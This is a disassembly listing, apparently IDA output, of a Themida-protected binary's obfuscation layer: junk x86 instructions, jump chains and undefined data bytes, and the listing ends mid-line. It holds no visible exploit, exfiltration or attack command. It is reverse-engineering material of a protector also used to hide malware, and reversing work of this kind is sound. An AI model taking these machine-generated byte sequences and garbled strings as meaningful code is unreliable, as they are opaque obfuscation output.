mov ebx, edi mov edi, [esp] jmp loc_558B6D ; --------------------------------------------------------------------------- dd 0FF6B81E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AB6D: ; CODE XREF: Themida_:0055D299j mov edi, [esp] add esp, 4 push ebp jmp loc_566119 ; --------------------------------------------------------------------------- loc_55AB79: ; CODE XREF: Themida_:0055FF81j push edi mov edi, esp push eax jmp loc_561AB4 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 36E9EB88h, 0F7FFFFAEh, 0D9BE56D2h, 0D1604D75h dd 0E4F681EEh, 8176C804h, 0D50DA4EEh, 0B6F68155h, 1F80DF4h dd 35E95EF2h, 81FFFF73h, 8E6468EEh, 8264E979h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55ABBE: ; CODE XREF: Themida_:00560B71j add eax, 7F3E6A9Dh mov ecx, [esp] add esp, 4 xchg eax, [esp] jmp loc_564EA7 ; --------------------------------------------------------------------------- dd 81E78957h, 4C7h, 2C78100h, 87000000h, 248B243Ch, 0C0B60F24h dd 568734FFh, 8AFBE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ABF6: ; CODE XREF: Themida_:00564DE5j sub edi, 0DF807DD9h sub ebx, 5164457Eh sub ebx, edi jmp loc_566519 ; --------------------------------------------------------------------------- db 59h, 0E9h, 6Ah dd 0F7FFFFE6h, 0CCE952DEh, 5AFFFFA7h, 0E9240C87h, 9824h dd 5BD8895Dh, 4E4DEB81h, 34E9147Fh, 89FFFFBDh, 4812424h dd 424h, 24048B00h, 7F2CE9h, 88BF5700h, 0E97DA273h, 0AEBAh dd 0C8BCF01h, 4C48324h, 8704EF83h, 895C243Ch, 21E92404h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AC63: ; CODE XREF: Themida_:00559C33j mov esi, 80714Fh sub ebx, esi pop esi add edi, ebx jmp loc_55AE48 ; --------------------------------------------------------------------------- dw 489h dd 1F7F6824h, 92E917C4h, 83000058h, 3DE904C4h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AC87: ; CODE XREF: Themida_:0056638Ej push esi push esp jmp loc_5663A3 ; --------------------------------------------------------------------------- loc_55AC8E: ; CODE XREF: Themida_:0055FB48j push edx push eax mov eax, 2E2E6191h mov edx, 4BDB0D99h xor edx, eax pop eax or edx, 55120117h shr edx, 7 xchg esi, edx jmp loc_562E84 ; --------------------------------------------------------------------------- db 29h, 14h, 24h dd 6E6CE95Ah, 8142FFFFh, 3946ACF2h, 5AD3294Bh, 96A2E9h db 0 ; --------------------------------------------------------------------------- loc_55ACC5: ; CODE XREF: Themida_:0056281Cj sub ecx, 4 jmp loc_552C40 ; --------------------------------------------------------------------------- dd 0BFE9C329h, 59FFFF92h, 348BF501h, 4C48124h, 81000000h dd 0DF211AEDh, 68C52939h, 0A6Eh, 0BA241489h, 39DF211Ah dd 148BD501h, 4C48324h, 47D9BE56h, 0F5295322h, 24048B5Eh dd 0E9E38953h, 0FFFF959Eh, 0E959CD31h, 3C8Eh, 61E9BD55h dd 0CE906B2h, 5000008h, 3871296Ah, 87FE9h, 0B7E95C00h dd 89FFFF69h, 0E952241Ch, 6E05h ; --------------------------------------------------------------------------- loc_55AD40: ; CODE XREF: Themida_:0056433Bj add esp, 4 push ebp mov ebp, esp jmp loc_562857 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5FD2E681h, 0EEC13B31h, 0D42AE907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD62: ; CODE XREF: Themida_:005589F0j pop edi add eax, 4 jmp loc_552CF4 ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 8B24048Fh, 0F9F62424h, 0CCB60F66h, 1E9BE9h dd 48B0BF00h, 71E973D6h, 0D000078h, 77F441ACh, 609BE9h dd 24248B00h, 0EAE9C330h, 0F7000002h, 0DE4435D0h, 0C301FF03h dd 4C38158h, 87000000h, 8F5C241Ch, 248B2404h, 242CD324h dd 0F4E4E99Ch, 0C380FFFFh, 80E300E4h, 0ABE9E4EBh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ADD3: ; CODE XREF: Themida_:00564B2Aj add eax, ebx jmp loc_566C02 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BA241489h, 2, 1BDAEB81h, 40E923E1h, 89000067h, 0B1682404h dd 89000042h, 4812424h, 424h, 0BA525800h, 6942BC3h, 0D441C281h dd 0D001F96Bh, 11E9555Ah, 0FFFFFFC2h, 669D1C77h, 2414D359h dd 68C4E99Ch, 0B42DFFFFh, 156B006h, 0FB2958C7h, 55C3015Fh dd 0CA26B4BDh, 29C5813Fh, 0E9E45D1Dh, 53F1h ; --------------------------------------------------------------------------- loc_55AE48: ; CODE XREF: Themida_:0055AC6Dj pop ebx xchg edi, [esp] jmp loc_55230B ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 3334D6BFh, 9BD4E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AE5E: ; CODE XREF: Themida_:00557A77j push esp push dword ptr [esp] pop ebx add esp, 4 push 1D16h jmp loc_552C38 ; --------------------------------------------------------------------------- db 81h dd 951C9FF3h, 34EB8131h, 0E9104E51h, 454Ch ; --------------------------------------------------------------------------- loc_55AE84: ; CODE XREF: Themida_:0055E140j pop ebx not ebx xor esi, ebx xor ebx, esi xor esi, ebx push 29CFh mov [esp], eax push 57ACh mov [esp], esi mov eax, [esp] jmp loc_559501 ; --------------------------------------------------------------------------- db 68h, 18h, 1Ch dd 8F540000h, 52512404h, 22A4B850h, 0C2895F73h, 33B4B958h dd 0E9413EDBh, 0FFFF9290h, 148BD029h, 4C48124h, 0E9000000h dd 1D10h ; --------------------------------------------------------------------------- loc_55AED4: ; CODE XREF: Themida_:00558769j mov edx, 54414451h sub edx, 5441444Dh jmp loc_55DF52 ; --------------------------------------------------------------------------- dd 4EC8355h, 0E9243489h, 4530h, 55243489h, 0D5753268h dd 8B4DE948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AEFE: ; CODE XREF: Themida_:00552D39j add esp, 4 push 0BE7h mov [esp], esi mov esi, 2 add edx, 0BC64FA2h sub edx, esi sub edx, 0BC64FA2h mov esi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], cx jmp loc_5516EE ; --------------------------------------------------------------------------- db 5Ah dd 2454F653h, 2FE95B01h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AF43: ; CODE XREF: Themida_:0055E2CCj pop ecx push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] add ecx, 28C90053h push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 sub ecx, 4 jmp loc_559485 ; --------------------------------------------------------------------------- loc_55AF85: ; CODE XREF: Themida_:00552F0Fj dec ah push cx mov ch, 6Fh sub ah, 40h add ah, ch add ah, 40h pop cx jmp loc_56286D ; --------------------------------------------------------------------------- loc_55AF9A: ; CODE XREF: Themida_:00562544j xor eax, edi sub esp, 4 mov [esp], edi xor [esp], edi xor edi, [esp] xor [esp], edi not edi xchg edi, [esp] pop edi jmp loc_561557 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0BD550000h, 33F67E2Bh, 15DEE29h, 2BC681CEh, 5933F67Eh dd 1B3668h, 242C8900h, 1BA8B951h, 0C18146ABh, 636F5064h dd 150CC181h, 0DBE976E6h, 89FFFFD4h, 0B0BD242Ch, 8900430Ah dd 0E3C15DEBh, 4AD38704h, 0FE9D387h, 81FFFFEBh, 1068D9C6h dd 24148B36h, 2E5168h, 24148900h, 0C281E289h, 4, 4C281h dd 45E90000h, 8F000043h, 248B2404h, 242C8924h, 885485BDh dd 6E5C167h, 0E904EC83h, 35h, 0D328A4B2h, 0C3805A66h, 7C02E9B3h dd 0C870000h, 0E9555C24h, 57Dh, 0BC50E95Bh, 0EC81FFFFh dd 2, 240C8966h, 0D5F6FD88h, 5966EF88h, 1B1BE9h, 24048900h dd 53224168h, 2114E94Dh, 0C2310000h, 0FF8596E9h, 4EC81FFh dd 0E9000000h, 0FFFF7468h ; --------------------------------------------------------------------------- loc_55B098: ; CODE XREF: Themida_:00561275j sub esi, eax jmp loc_561725 ; --------------------------------------------------------------------------- aTsk db 'T銱',0 dd 4EC8300h, 6341E9h, 2434FF00h, 592434FFh, 0FFE4DAE9h dd 7EE957FFh, 9000028h, 34FF1C6Fh, 0EC835D24h, 24048904h dd 2B68E089h, 89000043h, 0B8502434h, 4828474Ch, 3213E9h db 0 ; --------------------------------------------------------------------------- loc_55B0E1: ; CODE XREF: Themida_:00552448j mov eax, 445D2FE9h jmp loc_566338 ; --------------------------------------------------------------------------- loc_55B0EB: ; CODE XREF: Themida_:00551CF4j add ecx, ebx pop ebx mov edi, [esp] push esi jmp loc_563099 ; --------------------------------------------------------------------------- db 5Ah dd 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h, 2C335C24h dd 242C3124h, 8B242C33h, 81682424h, 8900004Eh, 0E789243Ch dd 5D5368h, 240C8900h, 4B9h, 36E95500h, 81FFFFBBh, 4ECh dd 240C8900h, 0C1815954h, 4, 5104C183h, 42474FFh, 592434FFh dd 4C481h, 48F0000h, 24248B24h, 424468h, 241C8900h, 8E9E389h dd 5F000017h, 1C8BD989h, 4C48124h, 68000000h, 94Dh, 0B8240489h dd 2B985005h, 0A647E9h db 0 ; --------------------------------------------------------------------------- loc_55B18D: ; CODE XREF: Themida_:00554432j mov esi, 0DC40D3Bh jmp loc_55F757 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 193958BDh, 26E9BA24h, 0F3E96F0Dh, 5C000015h dd 0FF6539E9h, 0C48158FFh, 4, 4C781h, 3C870000h, 24248B24h dd 1CE9C80Fh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1CF: ; CODE XREF: Themida_:00552FD2j add ebp, ecx pop ecx jmp loc_563C83 ; --------------------------------------------------------------------------- db 0BEh dd 41B1AF6h, 315EF589h, 0ED8158C5h, 4B553954h, 2C2DC581h dd 0EE29D7E8h, 1425E9h, 1F806800h, 0C890000h, 7B836824h dd 83592E6Fh, 0F181FFC1h, 60664EC2h, 1E5868h, 241C8900h dd 32F68h, 24048900h, 8C79AC68h, 0BB535860h, 119A6588h dd 10F38143h, 0E946A67Bh, 608Ah, 53E08950h, 0FFF18FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B23D: ; CODE XREF: Themida_:00552FE2j sub esi, 98A6DBD8h push edx mov edx, esi mov ebx, edx mov edx, [esp] add esp, 4 mov esi, [esp] add esp, 4 shr ebx, 4 sub ebx, 4377D2FAh add esi, 50437BDAh jmp loc_55FB5B ; --------------------------------------------------------------------------- loc_55B26B: ; CODE XREF: Themida_:00564D95j mov bh, ch mov dl, bh jmp loc_566770 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFF979Eh, 3E90E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B282: ; CODE XREF: Themida_:0055BE6Bj add esi, eax pop eax and eax, esi jmp loc_558C0E ; --------------------------------------------------------------------------- dd 8704C683h, 575C2434h, 0C781E789h, 4, 4EF81h, 3C870000h dd 0B286E924h, 0FD89FFFFh, 8B5DEB89h, 0C481243Ch, 4, 0E95BDE01h dd 714Ch, 1F6DF281h, 0D1891542h, 244C315Ah, 1BE95904h dd 5A000047h, 81595451h, 4C1h, 4BB5300h, 1000000h, 0FF515BD9h dd 59042474h, 0A09AE9h, 241C8700h, 0E924248Bh, 5E7Eh, 7FC8E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B302: ; CODE XREF: Themida_:0055D671j mov [eax], bh pop eax push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_55917A ; --------------------------------------------------------------------------- db 59h dd 0A263E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B322: ; CODE XREF: Themida_:00566736j push edx push ecx jmp loc_5657F2 ; --------------------------------------------------------------------------- aIrhbc db '‰àhC',0 align 10h dd 0BA241489h, 74996278h, 3BBEE955h, 47680000h, 89000023h dd 0CDE92404h, 89FFFFDEh, 30B3241Ch, 89B25266h, 848EE9h dd 48B6600h, 433EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B362: ; CODE XREF: Themida_:00557CABj shr edi, 2 shl edi, 1 neg edi shr edi, 2 shl edi, 2 jmp loc_562469 ; --------------------------------------------------------------------------- dd 4044D0BFh, 5FFB3122h, 0FF85E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B381: ; CODE XREF: Themida_:0055BE73j add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edi push ebx mov ebx, 37FA381Eh mov edi, ebx jmp loc_5651D4 ; --------------------------------------------------------------------------- db 53h dd 0DC0882B3h, 0B3C4805Bh, 8058E620h, 0F3305DF6h, 0FF71C3E9h dd 71E781FFh, 505B2B2Ch, 0FB2FD9B8h, 5761E937h, 51660000h dd 2414F766h, 4E95966h, 89000089h, 58682434h, 5E24BC48h db 1, 0F0h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55FC9B ; --------------------------------------------------------------------------- db 68h, 8Eh, 72h dd 0C890000h, 10B66824h, 1595B91h, 8EE959CFh db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B403: ; CODE XREF: Themida_:0055DEACj xchg esi, [esp] pop esp mov [esp], esi mov esi, 72A20D3h push edx mov edx, 30ED5659h dec edx add edx, 1019C796h sub esi, edx pop edx jmp loc_55FFA0 ; --------------------------------------------------------------------------- dd 68h, 2434FF00h, 8B2434FFh, 0C483241Ch, 0EC815304h, 4 dd 81242489h, 42404h, 815B0000h, 4C3h, 4C38300h, 8904EC83h dd 74FF241Ch, 1C8B0424h, 433EE924h, 0E6C00000h, 9805E902h dd 0C481FFFFh, 4, 2474FF55h, 9B19E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B47A: ; CODE XREF: Themida_:0056257Aj mov esp, [esp] push ecx mov ecx, 456D60A1h push edi jmp loc_55A2FD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 74CBC181h, 0BE561422h, 59A81969h, 10BA5246h, 0E9ABF3EDh dd 0A70Fh, 0A3E95457h, 8700003Bh, 575C242Ch, 0FFAAD8E9h dd 31E6BBFFh, 0B8E90556h, 0F7000074h, 8259E9D6h, 0F75BFFFFh dd 2E6C1D6h, 0FFFFC681h, 0B850FFFFh, 197670BFh, 8A6AD62Dh dd 0E9D0F73Ah, 0FFFFA64Bh, 24F7BA52h, 0D6314773h, 0E9F2015Ah dd 8C8Dh, 0FF2434FFh, 81582434h, 4ECh, 241C8900h, 0E2E3E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B50A: ; CODE XREF: Themida_:0055CD25j pop ebx jmp loc_5556DA ; --------------------------------------------------------------------------- dd 4EC81h, 24E90000h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B51B: ; CODE XREF: Themida_:005519F4j mov eax, 7D6F7528h push 2271h mov [esp], edx push 51F66E3Bh pop edx jmp loc_55985F ; --------------------------------------------------------------------------- aV4jhbsd db 'V¾4jhb餶',0 align 2 dw 0B951h dd 2, 5359CD89h, 0DA89EB89h, 0C7815D5Bh, 6F433CFEh, 1833C781h dd 0BA5243EAh, 170F4A23h, 0C281DAF7h, 65706F1Fh, 68h, 24142900h dd 81D2F75Ah, 7F03BAE2h, 5EEA815Dh, 0E939E500h, 966Fh ; --------------------------------------------------------------------------- loc_55B584: ; CODE XREF: Themida_:0055C3ABj add esp, 4 jmp loc_555D9F ; --------------------------------------------------------------------------- db 8Bh dd 0E1F72424h, 50E28952h, 77496B8h, 0FFE88329h, 9907E950h dd 0E7C10000h, 0E9D7F707h, 964Dh, 7E87055Dh, 77E93B02h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B5BB: ; CODE XREF: Themida_:0056197Cj xor ebp, ecx jmp loc_5552E7 ; --------------------------------------------------------------------------- loc_55B5C2: ; CODE XREF: Themida_:0055DDDCj add edx, esi pop esi jmp loc_56317D ; --------------------------------------------------------------------------- dw 0F928h dd 0E9805B66h, 76E980AFh, 89F5E9h, 0FCA6800h, 2C8B7FD1h dd 4C48324h, 0FF90C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B5E9: ; CODE XREF: Themida_:0056287Ej movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h dd 81F9E9h, 8B666400h, 28686602h, 4896669h, 60E8E924h dd 0C5FEFFFFh, 88AFC580h, 36E959EFh, 52FFFFDEh, 0C281E289h dd 4, 0E904EA83h, 0FFFFF24Fh ; --------------------------------------------------------------------------- loc_55B624: ; CODE XREF: Themida_:005625B6j push dword ptr [esp+4] jmp loc_55326F ; --------------------------------------------------------------------------- loc_55B62D: ; CODE XREF: Themida_:005524FBj add esi, 265F4A26h push ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_561BB9 ; --------------------------------------------------------------------------- dd 231EBF57h, 524756E0h, 4EC81h, 2C890000h, 1D6BBD24h dd 23BA5891h, 29695D0Fh, 0C49EE9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B66A: ; CODE XREF: Themida_:00556267j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], esi mov esi, 57A06CA2h xor esi, 63653E45h jmp loc_558D68 ; --------------------------------------------------------------------------- aPssv db 'Pé‘V',0 dd 0A4BB5300h, 118D566h, 0FE2CE9DEh, 0E981FFFFh, 4, 5C240C87h dd 0FF8F8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B6A9: ; CODE XREF: Themida_:005554CDj push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_5565A5 ; --------------------------------------------------------------------------- db 0FFh dd 0FDE92434h, 0BEFFFF90h, 2A4F4993h, 6FD6E9h db 0 ; --------------------------------------------------------------------------- loc_55B6D5: ; CODE XREF: Themida_:00560844j pop ecx push eax mov eax, 18076AA3h xor ecx, eax jmp loc_561ABE ; --------------------------------------------------------------------------- db 57h dd 902DD0BFh, 0C184E9FEh, 0CD81FFFFh, 699C7A0Ah, 0DFC5814Dh dd 2986CD82h, 0DE295DEBh, 83241C8Bh, 0C68104C4h, 0FF4C518Eh dd 4EC81h, 57E90000h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B717: ; CODE XREF: Themida_:00565150j sub ebx, eax mov eax, [esp] add esp, 4 add ebx, edx jmp loc_559C54 ; --------------------------------------------------------------------------- dw 481h dd 424h, 0C41CE900h, 0C781FFFFh, 7811B0h, 0E92434FFh, 0FFFF80F4h dd 4C48159h, 52000000h, 0FFF107E9h, 240C87FFh, 0E924248Bh dd 85BAh, 0B3B35359h, 0E971EB80h, 0FFFFEF7Bh, 57242489h dd 1ED0E9h, 4C48100h, 8F000000h, 248B2404h, 0B7B2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B77E: ; CODE XREF: Themida_:00561148j and edi, 106E2267h xor edi, 2865889h push ebx push edx push 6DBB0F38h pop edx inc edx xor edx, 0D7C73E3h jmp loc_5533AF ; --------------------------------------------------------------------------- dw 0C89h dd 1BA5B924h, 0CB290FB8h, 8BDF2959h, 0C481241Ch, 4, 25D0E9h dd 0A4BD5500h, 51368B56h, 4096E9h, 410A0500h, 0F7407476h dd 0F47935D0h, 0C689F5DBh, 8FC68158h, 0E93C7D5Fh, 0FFFF73CFh dd 83241C8Bh, 0FA3104C4h, 83243C8Bh, 0D10104C4h, 0FFF422E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B7F5: ; CODE XREF: Themida_:00559610j shr edx, 7 sub edx, 0AEA780Fh shl edx, 6 xor edx, 7DC2448Dh add edi, edx jmp loc_552014 ; --------------------------------------------------------------------------- loc_55B80E: ; CODE XREF: Themida_:0055C7D6j mov edi, [esp] push eax mov eax, esp jmp loc_557FFF ; --------------------------------------------------------------------------- aVs9 db '[Vé9+',0 align 10h dd 0C0C2E580h, 0E5C005EDh, 8BB1E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B82E: ; CODE XREF: Themida_:00561924j mov edx, 3B742364h push esi mov esi, 27FD4A0Bh and edx, esi jmp loc_560C4B ; --------------------------------------------------------------------------- dd 5704C483h, 4BFh, 46BEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B84E: ; CODE XREF: Themida_:00551F89j pop eax push ebp push 3E0Ch push esp jmp loc_55BE70 ; --------------------------------------------------------------------------- db 0B9h dd 4, 0FFF3E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B865: ; CODE XREF: Themida_:00558495j and edx, ebp pop ebp jmp loc_554594 ; --------------------------------------------------------------------------- db 51h, 0B9h, 4 dd 56000000h, 3311E9h db 0 ; --------------------------------------------------------------------------- loc_55B879: ; CODE XREF: Themida_:0055D11Ej mov ebx, 4B302839h sub ebx, 4B302835h add eax, ebx jmp loc_562427 ; --------------------------------------------------------------------------- db 83h dd 1C8704EBh, 1C895C24h, 4AE95724h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B89B: ; CODE XREF: Themida_:00557F28j pop esi push 4C3Ah mov [esp], ebx mov ebx, edx push ebx sub dword ptr [esp], 23455526h pop eax add eax, 23455526h push dword ptr [esp] pop ebx push eax push 696Fh push esp pop dword ptr [esp] jmp loc_55D79D ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 1F0E9h db 0 ; --------------------------------------------------------------------------- loc_55B8D5: ; CODE XREF: Themida_:0056472Fj add esp, 4 xor [esp], ebx xor ebx, [esp] xor [esp], ebx pop ebx push 5277h jmp loc_5639EF ; --------------------------------------------------------------------------- dd 4C1815Ch, 0E9000000h, 0FFFF6087h, 8124048Bh, 4C4h, 5DE82900h dd 5C240487h, 83243C89h, 2C8904ECh, 45836824h, 0C15D734Fh dd 0CD8105E5h, 4E950748h, 6B9F581h, 0CEE9232Ah, 89000081h dd 0B7532414h, 0FD885195h, 0C8BEA88h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 1AE9535Bh, 0ACFFFF83h, 2C0FB252h dd 4D0285Bh, 2434FF5Bh, 5724148Bh, 0C781E789h, 4, 0E904C783h dd 3F04h, 3E36F205h, 242C8B29h, 0FF66C9E9h, 0E8C196FFh dd 0B5BA5208h, 0E942DF2Bh, 33BCh ; --------------------------------------------------------------------------- loc_55B990: ; CODE XREF: Themida_:0055FDAAj mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebx mov ebx, 1CCA261Ah xor edi, ebx push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, edi push edx pop ecx pop edx mov edi, [esp] add esp, 4 sub ebx, 74A53211h add ebx, ecx jmp loc_55D58F ; --------------------------------------------------------------------------- dw 895Ch dd 0B568240Ch, 5400005Dh, 8124048Fh, 42404h, 1DE90000h dd 6600003Dh, 0E9240C31h, 4917h ; --------------------------------------------------------------------------- loc_55B9F0: ; CODE XREF: Themida_:0055DB23j sub eax, 28263B33h pop ecx jmp loc_55DEDB ; --------------------------------------------------------------------------- db 33h dd 895C2414h, 25E92424h db 9Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA07: ; CODE XREF: Themida_:0055CFC3j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55729B ; --------------------------------------------------------------------------- dw 6856h dd 1DEh, 0B9240C89h, 51D14C64h, 89C88950h, 34FF58C6h, 0C4815924h dd 4, 6945B850h, 0BE5609A4h, 60D82711h, 62CDE681h, 814E5318h dd 4D50B4F6h, 0E3A9E960h, 0E959FFFFh, 0FFFFF227h, 162F68h dd 24348900h, 161A35BEh, 0E9DEF75Ah, 1744h, 0E3C0A0B3h dd 0F6DBF602h, 51DBF6D3h, 0E58007B5h, 4EDC000h, 806AE580h dd 0F58061E5h, 59EB0089h, 0C05BDE88h, 0CE8005EEh, 0E9DE863Ch dd 0FFFFEAEBh, 0DD2D6659h, 0D8016671h, 71DD0566h, 5F98E9h dd 9ABA5200h, 81011856h, 0C55C08E2h, 76E94A48h, 53FFFFC4h dd 54EEE9h, 0E9E08900h, 0FFFFC267h, 0E9CB895Bh, 0FFFFE1CCh dd 241C8B66h, 0FFB133E9h, 87D3F7FFh, 53D5F7EBh, 4713E955h dd 815F0000h, 0D1F8FE9h, 55E9016Fh, 417997BDh, 18F58131h dd 815E4C66h, 62708E9h, 0E9E90106h, 0A58h, 8704EB83h, 0AFE9241Ch dd 68000089h, 22805045h, 0FF2434FFh, 1C8B2434h, 0A5ABE924h dd 93BE0000h, 4605A202h, 48A8EE81h, 0E68161CDh, 582627C3h dd 0E908E6C1h, 0FFFF7741h, 42Dh, 0B1AAE900h, 0C381FFFFh dd 0F3FAD574h, 505BD931h, 49B36856h, 0E95E01D0h, 0FFFF8091h dd 81D3295Fh, 0D657E0EBh, 5BDA895Fh, 8904EC83h, 0B668241Ch dd 89000006h, 5A5B2414h, 237BCB81h, 16E95B2Ah db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BB8B: ; CODE XREF: Themida_:00561293j or edi, 74A01515h add edi, 130CB4D8h xor ebp, edi jmp loc_552883 ; --------------------------------------------------------------------------- loc_55BB9E: ; CODE XREF: Themida_:00559375j mov esp, [esp] sub [edi+24h], ecx push dword ptr [esp] push dword ptr [esp] pop ecx push ebx sub esp, 4 jmp loc_5551A6 ; --------------------------------------------------------------------------- dd 24048B66h, 5A7868h, 240C8900h, 0FFB71FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BBC5: ; CODE XREF: Themida_:0055542Aj mov edi, 688C0664h and edi, 3AAF007Ah jmp loc_557BBC ; --------------------------------------------------------------------------- db 59h, 0E9h, 0CDh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BBDB: ; CODE XREF: Themida_:00552D69j mov [esp], ebx sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], esi mov esi, 0F114604h jmp loc_552E23 ; --------------------------------------------------------------------------- dw 0CAFEh dd 44E9CAFEh, 5BFFFFC1h, 8904EC83h, 64E9241Ch, 89FFFFAFh dd 2C68242Ch, 8B377D1Ah, 0E952242Ch, 0FFFFE3C1h, 8324348Bh dd 0BB5304C4h, 62035AE3h, 8105E3C1h, 1200BFF3h, 5CCB814Ch dd 8169FC31h, 7956D5C3h, 42C38102h, 1B5FB2Fh, 0EC835BDAh dd 24048904h, 937F1FB8h, 8E0C151h, 0E54C2F05h, 0FEA816Dh dd 2952DB4Dh, 0FC281C2h, 5852DB4Dh, 0C23FEA81h, 0BCE901E3h dd 0B5FFFFBAh, 80DDF67Dh, 0CD803BCDh, 98C580D6h, 5059EF28h dd 0E8C060B0h, 34720C08h, 2E34A3h, 0DFF658C7h, 283EEF80h dd 0AED0E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCA2: ; CODE XREF: Themida_:00554AF7j sub ebx, 1 xor ebx, 0EDBC9333h add esi, 5ED80080h add esi, ebx sub esi, 5ED80080h jmp loc_563F2B ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFA49Ah ; --------------------------------------------------------------------------- loc_55BCCC: ; CODE XREF: Themida_:0055A420j add esp, 4 and eax, esi pop esi jmp loc_55BD14 ; --------------------------------------------------------------------------- db 5Dh dd 0FFF3E2E9h, 242C8BFFh, 5E08950h, 4, 405h, 24048700h dd 2EE3E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCF6: ; CODE XREF: Themida_:00562ECAj sub al, 5Ah add al, 5Dh sub al, cl sub al, 5Dh sub esp, 4 mov [esp], ebx mov bh, 5Eh push ecx mov ch, 0D0h shl ch, 3 jmp loc_5573C7 ; --------------------------------------------------------------------------- loc_55BD14: ; CODE XREF: Themida_:0055BCD2j shr eax, 10h xor eax, ecx push 1F4Fh mov [esp], eax sub esp, 4 jmp loc_555B0A ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C2010000h, 0EE685058h, 89000068h, 12682434h, 5E00B214h dd 240CFF56h, 4E6C15Eh, 5E668h, 242C8900h, 54C5B850h, 0E9567A95h dd 0FFFFF47Bh ; --------------------------------------------------------------------------- loc_55BD5C: ; CODE XREF: Themida_:0055EF2Aj inc ebp push edi mov edi, 7E6F1E7h sub ebp, 56747B90h jmp loc_5576CE ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815F24h, 4, 31241433h, 14332414h, 0A8E95C24h, 80FFFF74h dd 0F828CAF7h, 66392C5Bh, 665ED968h, 0B5240C89h, 95E952C1h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD9F: ; CODE XREF: Themida_:00559D22j add edx, edi pop edi push eax mov eax, esp push esi mov esi, 1D015503h dec esi shl esi, 3 sub esi, 0F625796h and esi, 511B64A3h sub esi, 5008401Eh jmp loc_555996 ; --------------------------------------------------------------------------- dw 535Ah dd 0FF973BE9h, 25EB81FFh, 521FD80Fh, 4C3108BAh, 5AD32960h dd 15BD989h, 0ED8159CDh, 3471041Dh, 7B1EF581h, 0D2E91255h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDF3: ; CODE XREF: Themida_:005520F3j mov edx, 0FB4099h mov ecx, 7C382762h xor ecx, edx pop edx jmp loc_5645C0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aH? db '$h?',0Ah,0 align 2 dw 489h aIrhcs db '$‰àhçs',0 align 4 dd 